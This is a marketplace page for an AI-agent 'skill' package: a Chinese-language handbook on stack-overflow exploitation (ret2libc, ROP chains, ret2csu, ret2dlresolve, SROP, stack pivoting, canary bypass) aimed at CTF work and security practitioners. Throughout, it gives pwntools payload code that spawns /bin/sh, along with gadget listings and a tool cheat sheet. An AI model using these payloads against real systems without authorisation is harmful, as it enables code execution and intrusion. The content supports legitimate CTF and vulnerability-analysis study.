mcpField
S
stack-overflow-and-rop

stack-overflow-and-rop

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 stack-overflow-and-rop

面向安全从业者的栈溢出二进制利用进阶技能,适用于漏洞程序分析和 CTF。内容涵盖 return-to-libc、ROP 链、栈迁移及 canary 绕过等技术。

主要功能

  1. 01Return-to-libc 技术
  2. 02ROP 链构造与 gadget 选择
  3. 03ret2csu、ret2dlresolve 和 SROP
  4. 04栈迁移方法
  5. 05Canary 绕过方式
  6. 06利用工具命令参考

适用场景

  1. 01为栈溢出构造利用方案
  2. 02在启用 NX 时选择代码复用技术
  3. 03分析目标二进制的 canary 绕过选项

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill stack-overflow-and-rop

安装后在 Claude Code 中输入/stack-overflow-and-rop确认已加载。

附带文件ROP_ADVANCED_TECHNIQUES.md

详细介绍

技能:Stack Overflow 与 ROP — 专家攻击手册

AI 加载说明:栈利用专家技术。涵盖经典缓冲区溢出、return-to-libc、ROP 链构造、ret2csu、ret2dlresolve、SROP、栈迁移和 canary 绕过。内容提炼自 ctf-wiki advanced-rop、真实世界的 CVE 和 CTF 竞赛模式。基础模型经常忽略受限条件下选择 gadget 的细节。

0. 相关路由

高级参考

在需要以下内容时,加载 ROP_ADVANCED_TECHNIQUES.md:

  • 在没有二进制文件的情况下,针对远程服务使用 Blind ROP(BROP)方法
  • 在 32 位系统上通过 ret2vdso 绕过 ASLR
  • 通过部分覆写绕过 PIE
  • JOP / COP 等替代性代码复用范式

1. 栈布局基础

High Address
┌─────────────────────┐
│   ...  (caller)     │
├─────────────────────┤
│   Return Address    │  ← overwrite target (EIP/RIP control)
├─────────────────────┤
│   Saved EBP/RBP     │  ← overwrite for stack pivoting
├─────────────────────┤
│   Canary (if enabled)│
├─────────────────────┤
│   Local Variables    │  ← buffer starts here
├─────────────────────┤
│   ...               │
└─────────────────────┘
Low Address
元素x86(32 位)x86-64(64 位)
返回地址大小4 字节8 字节
保存的帧指针4 字节(EBP)8 字节(RBP)
Canary 大小4 字节8 字节
调用约定参数位于栈上RDI、RSI、RDX、RCX、R8、R9,之后为栈
系统调用指令int 0x80syscall

2. RETURN-TO-LIBC

启用 NX(栈不可执行)时,将执行流重定向到 libc 函数。

经典 ret2libc(32 位)
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)      # fake return address for system()
payload += p32(binsh_addr)     # arg1: "/bin/sh"
ret2libc(64 位)——需要用于传递参数的 Gadgets
pop_rdi = elf_base + 0x401234  # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
Libc 基址泄露方法
方法技术适用时机
puts@plt(puts@GOT)泄露已解析的 libc 地址GOT 已解析,且 puts 位于 PLT 中
write@plt(1, read@GOT, 8)通过 write 系统调用泄露write 可用
printf("%s", GOT_entry)通过格式化字符串泄露printf 可控
部分覆写覆写返回地址低位字节以到达泄露 gadget启用了 PIE,且已知末尾 12 位
# Typical leak pattern
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr)  # return to main for second payload

io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
one_gadget — 单个 Gadget 实现 RCE
$ one_gadget /path/to/libc.so.6
0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
  constraints: rsp & 0xf == 0, rcx == NULL
0x4f432  execve("/bin/sh", rsp+0x40, environ)
  constraints: [rsp+0x40] == NULL

必须满足约束条件——使用前检查寄存器和栈状态。


3. ROP 链构造

工具对比
工具优势命令
ROPgadget全面搜索,生成链ROPgadget --binary elf --ropchain
ropper语义搜索,支持 JOP/COPropper -f elf --search "pop rdi"
pwntools ROP自动构建链rop = ROP(elf); rop.call('system', ['/bin/sh'])
xrop快速搜索 gadgetxrop -r elf
必备 Gadget 模式
用途Gadget使用场景
设置 RDI(参数 1)pop rdi; ret大多数函数调用
设置 RSI(参数 2)pop rsi; pop r15; ret双参数函数
设置 RDX(参数 3)pop rdx; ret(少见)三参数函数,使用 ret2csu
系统调用syscall; ret直接调用系统调用
栈迁移leave; ret将 RSP 移至受控缓冲区
对齐栈ret(单个 ret gadget)修正 movaps 所需的 16 字节对齐

x86-64 栈对齐:system() 和其他 libc 函数会使用 movaps,该指令要求 RSP % 16 == 0。如果对齐不正确,请在调用前插入额外的 ret gadget。


4. ret2csu — 通用三参数控制

__libc_csu_init 存在于几乎所有动态链接的 ELF 二进制文件中,并提供最多控制 3 个参数的调用。

; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx     ; 0
pop rbp     ; 1
pop r12     ; call target (function pointer address)
pop r13     ; arg3 (rdx)
pop r14     ; arg2 (rsi)
pop r15     ; arg1 (edi = r15d)
ret

; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d    ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again

关键约束:r12 必须指向目标函数的指针(例如 GOT 条目),而不能直接是函数地址。设置 rbx=0、rbp=1 可跳过循环。


5. ret2dlresolve

伪造 ELF 动态链接结构,在不泄露 libc 的情况下解析任意函数(例如 system)。

攻击流程
  1. 控制执行流程,调用 _dl_runtime_resolve(link_map, reloc_offset)
  2. 在已知的可写地址伪造 Elf_Rel,使其指向伪造的 Elf_Sym
  3. 伪造 Elf_Sym,让 st_name 指向伪造的字符串 "system\x00"
  4. 设置 reloc_offset,使解析器使用伪造的结构
  5. 将参数(/bin/sh)放置在栈上或已知缓冲区中
# pwntools automation (recommended)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)
32 位与 64 位的区别
方面32 位64 位
重定位类型Elf32_Rel(8 字节)Elf64_Rela(24 字节)
符号表条目Elf32_Sym(16 字节)Elf64_Sym(24 字节)
对齐要求宽松要求严格(必须满足 ndx = (reloc_offset) / sizeof(Elf64_Rela),然后 sym = symtab[ndx])
版本检查通常可以跳过VERSYM[sym_index] 必须有效或为 0

6. SROP — Sigreturn 面向编程

利用 sigreturn 系统调用,通过栈上的伪造信号帧一次性设置所有寄存器。

from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr  # optional pivot

payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)

适用场景:可用 gadget 有限、没有 pop rdx、静态二进制文件,或需要将栈切换到任意地址。


7. 栈切换

当溢出长度有限时,将栈指针移动到攻击者控制的缓冲区。

技术Gadget前提条件
leave; retmov rsp, rbp; pop rbp; ret控制保存的 RBP,使其指向伪造栈
xchg rsp, rax; ret交换 RSP 与 RAX控制 RAX(通过 gadget 链)
pop rsp; ret直接控制 RSP少见但强大
SROP 切换在 SigreturnFrame 中设置 RSP只需 sigreturn gadget
leave;ret 切换模式
Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
  1st leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
  1st ret:   rip = leave_ret_addr
  2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
  2nd ret:   rip = *(buf+8) → start of ROP chain in buf

8. 绕过 CANARY

技术条件方法
暴力破解fork() 服务(子进程中的 canary 相同)逐字节破解(64 位需要 256 × 7 = 1792 次尝试)
格式字符串泄露可使用 printf(user_input)使用 %N$p 从栈上读取 canary
读取栈内容单字节溢出或部分读取覆盖 canary 的空字节,通过错误信息/输出读取
线程 canary溢出到达 TLS同时覆盖 TLS 中的 stack_guard(位于 fs:[0x28])
信息泄露未初始化的栈变量泄露泄露的数据中包含 canary

9. 工具速查

checksec ./binary                          # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain     # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi"      # Semantic gadget search
one_gadget ./libc.so.6                     # Find one-shot RCE gadgets
pwn template ./binary --host x --port y    # Generate pwntools exploit skeleton

10. 决策树

Binary has stack overflow?
├── checksec: NX disabled?
│   └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│   └── NO (NX enabled) →
│       ├── Canary enabled?
│       │   ├── YES → fork() server? → brute-force canary
│       │   │         format string? → leak canary
│       │   │         info leak?     → read canary
│       │   └── NO → proceed to ROP
│       ├── ASLR/PIE enabled?
│       │   ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│       │   ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│       │   └── Neither → addresses known, direct ROP
│       ├── Can leak libc?
│       │   ├── YES → ret2libc (system/execve) or one_gadget
│       │   └── NO → ret2dlresolve (forge resolution) or SROP
│       ├── Need 3+ args but no pop rdx?
│       │   └── ret2csu or SROP
│       ├── Overflow too short for full chain?
│       │   └── Stack pivot (leave;ret, xchg rsp)
│       ├── Static binary (no libc)?
│       │   └── SROP + syscall chain (execve via sigreturn)
│       └── Full RELRO?
│           └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│               or _IO_FILE vtable (see ../arbitrary-write-to-rce/)

评论

支持 Markdown